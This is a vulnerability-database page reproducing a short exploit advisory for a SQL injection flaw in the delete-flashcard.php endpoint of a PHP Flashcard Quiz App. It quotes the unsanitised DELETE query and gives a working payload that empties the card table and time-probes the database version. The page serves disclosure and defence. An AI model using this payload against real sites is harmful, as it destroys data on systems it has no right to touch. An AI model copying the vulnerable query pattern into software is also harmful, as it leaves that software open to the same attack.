Lucene search
K

Flashcard Quiz App 1.0 SQL Injection

🗓️ 26 Feb 2024 00:00:00Reported by SoSPiroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 228 Views

Flashcard Quiz App 1.0 SQL Injection vulnerability in delete-flashcard.ph

Code
`# Exploit Title: Flashcard Quiz App - SQL Injection  
# Google Dork: N/A  
# Application: Flashcard Quiz App  
# Date: 25.02.2024  
# Bugs: SQL Injection   
# Exploit Author: SoSPiro  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/17160/flashcard-quiz-app-using-php-and-mysql-source-code.html  
# Version: 1.0  
# Tested on: Windows 10 64 bit Wampserver   
# CVE : N/A  
  
  
## Vulnerability Description:  
  
The provided PHP code is vulnerable to SQL injection. SQL injection occurs when user inputs are directly concatenated into SQL queries without proper sanitization, allowing an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database.  
  
  
## Proof of Concept (PoC):  
  
This vulnerability involves injecting malicious SQL code into the 'card' parameter in the URL.  
  
1. Original Code:  
  
$card = $_GET['card'];  
  
$query = "DELETE FROM tbl_card WHERE tbl_card_id = '$card'";  
  
2. Payload:  
  
' OR '1'='1'; SELECT IF(VERSION() LIKE '8.0.31%', SLEEP(5), 0); --  
  
3. Injected Query:  
  
DELETE FROM tbl_card WHERE tbl_card_id = '' OR '1'='1'; SELECT IF(VERSION() LIKE '8.0.31%', SLEEP(5), 0); --  
  
Request Response foto: https://i.imgur.com/5IXvpiZ.png  
  
  
## Vulnerable code section:  
====================================================  
endpoint/delete-flashcard.php  
  
$card = $_GET['card'];  
  
$query = "DELETE FROM tbl_card WHERE tbl_card_id = '$card'";  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation